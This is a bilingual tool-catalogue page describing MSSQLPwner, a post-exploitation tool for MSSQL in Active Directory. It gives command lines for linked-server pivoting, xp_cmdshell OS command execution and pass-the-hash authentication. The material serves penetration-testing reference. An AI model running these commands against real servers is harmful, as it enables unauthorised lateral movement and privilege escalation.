← retour aux outils back to tools

# MSSQLPwner

Outil de post-exploitation pour les serveurs MSSQL en environnement Active Directory qui exploite les serveurs liés, l'impersonation et les chaînes de confiance pour escalader les privilèges et se déplacer latéralement. Post-exploitation tool for MSSQL servers in Active Directory environments that abuses linked servers, impersonation, and trust chains to escalate and move laterally.

↗ https://github.com/ScorpionesLabs/MSSQLPwner

## Overview

MSSQLPwner automates abuse of MSSQL-specific privilege chains that are common in AD environments: `EXECUTE AS` impersonation, database/server role abuse, and — most notably — linked server trust relationships, which can be chained across multiple hops (even across domains) to reach a server the attacker couldn’t otherwise touch directly. It builds on the well-known “linked SQL server” pivot technique, automating discovery of the trust graph and executing commands or grabbing files at the end of the chain, including via `xp_cmdshell` when reachable.

## Common Usage

Enumerate accessible databases, roles, and impersonation targets

    python3 mssqlpwner.py <domain>/<user>:<password>@<target> enumerate

Discover linked server chains reachable from the target

    python3 mssqlpwner.py <domain>/<user>:<password>@<target> exec --link-name <linked_server> whoami

Execute an arbitrary query at the end of a linked-server chain

    python3 mssqlpwner.py <domain>/<user>:<password>@<target> exec --link-name "SRV1->SRV2" custom-query "SELECT SYSTEM_USER"

Enable and use xp_cmdshell through a linked chain for OS command execution

    python3 mssqlpwner.py <domain>/<user>:<password>@<target> exec --link-name <linked_server> os-cmd "whoami /priv"

Authenticate with a Kerberos ticket / NTLM hash instead of a cleartext password

    python3 mssqlpwner.py <domain>/<user>@<target> -hashes <lmhash>:<nthash> enumerate

## Typical Workflow

1. Enumerate the initial MSSQL server for roles, users, and linked servers

    python3 mssqlpwner.py corp.local/svcsql:P@ssw0rd@sql01.corp.local enumerate

2. Map the full linked-server trust chain from the entry point

    python3 mssqlpwner.py corp.local/svcsql:P@ssw0rd@sql01.corp.local enumerate --link-map

3. Impersonate a higher-privileged principal or hop across a trusted link

    python3 mssqlpwner.py corp.local/svcsql:P@ssw0rd@sql01.corp.local exec --link-name sql02.corp.local os-cmd "hostname"

## Notes

- Linked-server chains can cross AD domain/forest boundaries — a low-priv foothold on one SQL box can end in OS command execution on a server in a completely different trust zone.
- Requires `xp_cmdshell` to be enabled (or enableable, if the account has `sysadmin`) on the target link to get OS-level execution; pure data access still works without it.
- Supports NTLM hash and Kerberos auth in addition to cleartext creds, useful when pivoting from an already-compromised AD account.

Help / Man page

    mssqlpwner.py <target> <action> [options]

    Target format: [domain/]username[:password]@host[:port]

    Actions:
      enumerate            Enumerate roles, permissions, linked servers
      exec                 Execute a command/query, optionally via a linked chain

    exec sub-options:
      --link-name NAME      Linked server name (or chain "SRV1->SRV2") to route through
      os-cmd "<command>"      Run an OS command via xp_cmdshell
      custom-query "<sql>"      Run an arbitrary SQL query
      whoami                     Show current execution context

    Auth options:
      -hashes LM:NT         Authenticate via NTLM hash (pass-the-hash)
      -k                      Use Kerberos authentication
      -windows-auth            Use Windows (integrated) authentication instead of SQL auth

## Vue d’ensemble

MSSQLPwner automatise l’exploitation des chaînes de privilèges spécifiques à MSSQL, courantes dans les environnements AD : l’impersonation `EXECUTE AS`, l’abus des rôles de base de données/serveur, et surtout les relations de confiance des serveurs liés, qui peuvent être chaînées sur plusieurs sauts (même entre domaines) pour atteindre un serveur que l’attaquant ne pourrait pas toucher directement autrement. Il s’appuie sur la technique bien connue du pivot par serveur SQL lié, en automatisant la découverte du graphe de confiance et l’exécution de commandes ou la récupération de fichiers au bout de la chaîne, y compris via `xp_cmdshell` lorsque cela est possible.

## Utilisation courante

    # Énumérer les bases de données, rôles et cibles d'impersonation accessibles
    python3 mssqlpwner.py <domain>/<user>:<password>@<target> enumerate

    # Découvrir les chaînes de serveurs liés accessibles depuis la cible
    python3 mssqlpwner.py <domain>/<user>:<password>@<target> exec --link-name <linked_server> whoami

    # Exécuter une requête arbitraire au bout d'une chaîne de serveurs liés
    python3 mssqlpwner.py <domain>/<user>:<password>@<target> exec --link-name "SRV1->SRV2" custom-query "SELECT SYSTEM_USER"

    # Activer et utiliser xp_cmdshell via une chaîne liée pour l'exécution de commandes OS
    python3 mssqlpwner.py <domain>/<user>:<password>@<target> exec --link-name <linked_server> os-cmd "whoami /priv"

    # S'authentifier avec un ticket Kerberos / un hash NTLM plutôt qu'un mot de passe en clair
    python3 mssqlpwner.py <domain>/<user>@<target> -hashes <lmhash>:<nthash> enumerate

## Workflow typique

    # Étape 1 : énumérer le serveur MSSQL initial pour les rôles, utilisateurs et serveurs liés
    python3 mssqlpwner.py corp.local/svcsql:P@ssw0rd@sql01.corp.local enumerate

    # Étape 2 : cartographier la chaîne de confiance complète des serveurs liés depuis le point d'entrée
    python3 mssqlpwner.py corp.local/svcsql:P@ssw0rd@sql01.corp.local enumerate --link-map

    # Étape 3 : usurper l'identité d'un principal à privilèges plus élevés ou sauter via un lien de confiance
    python3 mssqlpwner.py corp.local/svcsql:P@ssw0rd@sql01.corp.local exec --link-name sql02.corp.local os-cmd "hostname"

## Notes

- Les chaînes de serveurs liés peuvent traverser les frontières de domaine/forêt AD : un accès à faible privilège sur un serveur SQL peut mener à une exécution de commandes OS sur un serveur situé dans une zone de confiance complètement différente.
- Nécessite que `xp_cmdshell` soit activé (ou activable, si le compte dispose de `sysadmin`) sur le lien cible pour obtenir une exécution au niveau OS ; le simple accès aux données fonctionne toujours sans cela.
- Prend en charge l’authentification par hash NTLM et Kerberos en plus des identifiants en clair, utile lors d’un pivot depuis un compte AD déjà compromis.

Aide / Page de manuel

    mssqlpwner.py <target> <action> [options]

    Target format: [domain/]username[:password]@host[:port]

    Actions:
      enumerate            Enumerate roles, permissions, linked servers
      exec                 Execute a command/query, optionally via a linked chain

    exec sub-options:
      --link-name NAME      Linked server name (or chain "SRV1->SRV2") to route through
      os-cmd "<command>"      Run an OS command via xp_cmdshell
      custom-query "<sql>"      Run an arbitrary SQL query
      whoami                     Show current execution context

    Auth options:
      -hashes LM:NT         Authenticate via NTLM hash (pass-the-hash)
      -k                      Use Kerberos authentication
      -windows-auth            Use Windows (integrated) authentication instead of SQL auth